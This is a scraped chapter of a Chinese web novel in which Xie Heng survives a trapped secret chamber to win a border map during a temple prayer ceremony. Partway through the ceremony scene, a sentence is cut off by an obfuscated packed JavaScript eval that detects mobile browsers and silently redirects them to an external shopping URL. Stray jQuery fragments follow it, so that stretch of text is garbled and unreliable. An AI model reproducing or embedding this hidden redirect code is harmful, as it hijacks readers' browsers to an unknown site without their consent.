文趣网 > 其他小说 > 虐文女主动心要命 > 31. 她说他危险不敢亲近
    谢珩凝望着少女仓皇离去的背影,面上那层温和的神色缓缓褪尽。

    墨色瞳底漾起晦色,暗流奔涌,渊深难窥。

    他喉间溢出一声低哑轻喃,语声被风揉碎,消散在空寂的禅房:“危险?不敢亲近?”

    清风穿窗而过,撩动案前檀香,袅袅青烟盘旋萦回。

    紧闭的木门被人从外推开,云辞再次踏入禅房。

    他摘去头上规整的道帽,乌发随动作松散落下,衬得那张清逸俊朗的面容,多了几分鲜活。

    “那绾月公主眼神跟只小豹子似的,刚才险些认出我来。”

    谢珩淡淡扫过云辞,语调平直无波,辨不出半分喜怒:“说吧。”

    云辞立刻收去脸上轻佻与懊恼,语声压低,满是凝重:“我查到,天阁寺上任住持镜嵩,早年曾游走于大曜、南宸和北凛之间,遍历边境山川险地,亲手绘下了一幅完整的三国边境图。”

    他稍作停顿,缓声道来:“这幅图详尽标注了三国所有边境关隘、隐秘险地、官方粮草囤积据点,甚至连各路无人知晓的隐秘行军通道、潜伏暗口皆一一记载,囊括军机地利,是足以搅动三国格局的绝世至宝。”

    “这些年来,江湖各派势力、三国皇室权贵皆在搜寻抢夺这幅图。如今这图被藏于天阁寺深处的密室之中,室外机关密布,禁制层层叠加,数年来任凭外界如何争抢打探,始终无人能得手,这至宝便一直安稳藏于密室之内。”

    “属下这些日子伪装成寺中道士潜伏在此,日夜探查,已摸清密室方位、外围机关以及秘门开启的时辰规律。”

    云辞继续沉声禀报,语气里多了几分笃定。

    “如今万事俱备,绝影顶替卫承朔执掌皇城防务,朝中无人察觉异样。我也破除了密室外围机关,唯独密室正门布有古老禁制,受晨钟灵气维系,破晓晨钟未鸣,便无法强行开启。”

    “那密室暗藏凶险,空间狭隘,只容一人入内。密室之内遍布连环绝杀机关、无色无味剧毒,处处皆是死局。数年来擅闯者无一生还,但凡稍有疏忽,便会葬身于此。”

    须臾间,谢珩吐出两个字,带着不容置喙的决绝。

    “我去。”

    “主子不可!”

    云辞脸上的凝重瞬间被极致骇然取代,他身形一沉,“噗通”一声跪落在地。

    “主子不可!”

    他再度重复,语气是前所未有的郑重。

    “主子是全盘大计的根基,万万不可亲身涉险!那密室凶险莫测,九死一生,我纵是身死,亦无损大局分毫。可你若在其中遭遇半分差池,我等数年隐忍、步步为营的所有筹谋,顷刻间便会尽付东流,满盘皆输!”

    谢珩垂眸扫了他一眼,幽深眸光清冷通透,静静打量着云辞。

    云辞下意识屏住呼吸,到了唇边的百般劝谏、千般说辞,尽数卡在喉间,不敢再发一言。

    脑海中不由浮现方才沈绾月挡在谢珩身前的一幕。

    少顷,谢珩开口一语,令云辞神色骤变。

    “你武艺不及我,去了回不来。密室毒瘴与禁制侵蚀并存,凡躯入内,内外交困。我自幼身遭药淬,血肉异于常人,唯有我能扛住反噬。”

    云辞一口气堵在胸前,五味杂陈,吐吞不得。

    他张了张嘴,还欲再劝,谢珩却已抬手,一个极简的动作,阻断了他所有未尽之语。

    云辞会意敛神,彻底噤声。

    禅房静得能清晰听见窗外风穿叶的簌簌轻响。

    云辞心底积攒已久的疑惑按捺不住,开口试探。

    “主子,你对绾月公主动了真心?”

    风声渐缓,檀香微凝。

    谢珩薄唇轻启,字字落地,重若千钧。

    “替我,护她安好。”

    云辞心头豁然清明,重重垂首,恭敬叩下。

    “属下遵命!定拼尽性命,护公主周全!”

    *

    寅时的晨钟如期响起,回荡在天阁寺的每一个角落。

    沈宏身着一袭石青色暗织云龙吉服,缓步行于队列最前。

    一众宗室子弟随行左右,沈绾月身着素色绣莲宫装,跟在宗室行列之中。

    文武百官整齐列队,紧随宗室队伍后方,众人一同朝着大雄宝殿走去。

    就在队伍即将踏入大雄宝殿门槛时,一道突兀的身影映入众人眼帘,打破了这份规整与肃穆。

    殿门左侧的廊下,沈昭被两名内侍押着,身上不再是太子锦袍,取而代之的是一身灰扑扑的囚服,勾勒出他清瘦了许多的身形。

    脖颈间、手腕上,皆是冰冷的镣铐,镣铐与地面碰撞,发出“哐当哐当”的脆响。

    他的发髻散乱,额前的碎发被冷汗黏在脸上,遮住了眉眼,没有半分往日的温文尔雅。

    周遭的宗室、朝臣皆顿住脚步,面上浮起惊愕与探究,却没人敢多言。

    沈绾月的目光也落向沈昭身上,片刻的恍惚后,她收回目光,神色恢复了平静。

    大雄宝殿内,一尊巨大的佛像端坐于高台之上,面容慈悲,俯瞰着下方的众人。

    待所有人都按位次站定,祈福仪式正式开始。

    *

    另一边,密室的古老禁制应声消解。

    密室之内漆黑死寂,缭绕不散的毒瘴密布。

    猝然间机括响动,石壁暗缝豁开,数支弩矢如雨破空疾射而来。

    谢珩身姿斜掠,衣袂翻飞间避过凌厉弩锋。

    这时,悬于侧壁的千斤巨石脱锁滚落,携万钧威势接踵而至。

    他脚下蹬离地面,纵身腾空,连翻数圈卸去巨石带起的冲势。

    就在足尖堪堪将要踏落地面,脚下板块骤然下陷。

    陷坑之下毒沼翻涌,森森寒气蒸腾而上。

    谢珩一手抖出袖中带利爪的锁链,飞爪呼啸而出,牢牢扣住石顶嶙峋凸起。

    他另一只手旋即接连掷出数枚飞虎钉,锋锐钉头凿入坚硬石壁,钉尾细索垂落绷直。

    身下毒沼不住喷涌翻沸,他借两套器具互为支点交替腾挪,身形如离弦之矢,凌虚辗转飞掠。

    *

    祈福大典中,沈宏缓步走到殿中央的祭坛前。

    祭坛上摆满了各式祭品,瓜果、香烛、美酒,一应俱全。

    沈宏拿起三炷香,亲手点燃。

    待香火燃起袅袅青烟,他双手举香,躬身三拜,低声祝祷,祈求大曜国泰民安,祈求萧太后

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17879638|209096||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    安康长寿,祈求皇室香火绵延。

    宗室子弟、文武百官依次上前,按品级高低,上香行礼。

    殿内唯有香火燃烧的轻响与众人躬身的轻缓动静,庄严到了极致。

    沈绾月随宗室上前,执起三炷香,就烛火引燃。

    青烟袅袅间,她双手高擎过顶,敛眉躬身三拜。

    一是祈求二皇兄早日平定北凛叛乱,旌旗归朝;余下牵念,皆系于那个无缘亲临祈福之地的人。

    祈求他能岁岁无忧,一世长安。

    行礼完毕,她退到一旁。

    *

    密室最深处,一具厚重的古纹石棺静静横亘正中。

    棺盖与棺身严丝合缝,透着死寂沉沉的气息。

    谢珩按住肩头那枚尚未拔出的伤箭,随即抬臂扬袖,一枚飞虎钉破空飞出,精准撞向冰冷的棺壁。

    石棺夹层弹启,数枚淬毒短刃激射而出。

    谢珩足尖轻旋,衣袂掠风,从容避过漫天飞刃。

    就在这时,石棺缓缓侧向滑移,密闭的泄沙闸口开启。

    无数细沙如奔涌浊浪,从石棺缝隙与密室四壁倾泻涌出,滚滚滔滔漫覆四方。

    谢珩借飞爪锁链的吊悬之力纵身凌虚拔高,骤然的牵拉扯动肩头箭伤。

    他面色未改,反手飞速掷出两枚飞虎钉,钉入石壁,架起两处悬空支点。

    随即横跃过翻涌的沙浪,稳稳悬于密室半空高地。

    而身后那具滑移的石棺向上掀开了棺盖,一道人影自棺中坐起。

    他披着陈旧袈裟,唯有左颊一道深浅分明的狭长刀痕,烙印般醒目。

    谢珩眸光一凝,心底瞬时了然。

    这道独有的伤痕,正是天阁寺上任住持——镜嵩。

    镜嵩坐起身的刹那,奔涌不止的流沙凝滞。

    沙哑的嗓音裹挟着岁月沉淀的悠远气息,伴着细碎沙砾簌簌落地的轻响。

    “汝为何人?”

    谢珩拱手作答:“镜嵩大师,在下南宸九皇子,谢珩。”

    镜嵩转眸,目光落在他身上,唇角勾起一抹浅淡笑意。

    “你来到此处,所求不过是那幅三国边境图。此图足以倾覆三国山河,生灵涂炭只在一念之间。你且如实作答,若得此图,你意欲何为?”

    谢珩眸光沉静,不闪不避:“我要借地利之秘,终结这乱世纷争,护万里疆土,再无战火荼毒,百姓不复流离。”

    他面上不见半分戏谑,唯独眸底深处,没有半分追逐宏愿的火光,只剩一片沉沉冷寂。

    镜嵩听罢,面色稍缓,掌心徐徐展开一卷尘封古旧的舆图。

    “此图不可轻易交付旁人。唯有闯过密室死局,方证明你有承担这份重器的心智与定力。你若真心笃定这番志向,此物,便可交予你。”

    话音未落,他抬腕轻掷,舆图飞来。

    谢珩抬手接过,缓缓展阅,一幅详尽的三国边境地形图赫然映入眼帘。

    他目光飞快扫过图上疆域关隘,确认关键地势后方才收拢妥当,纳入胸口衣襟。

    镜嵩突兀开口,语气带着一丝不易察觉的怅然与旧识暖意:“你母妃,如今可安好?当年我曾受她一恩,惦念多年。”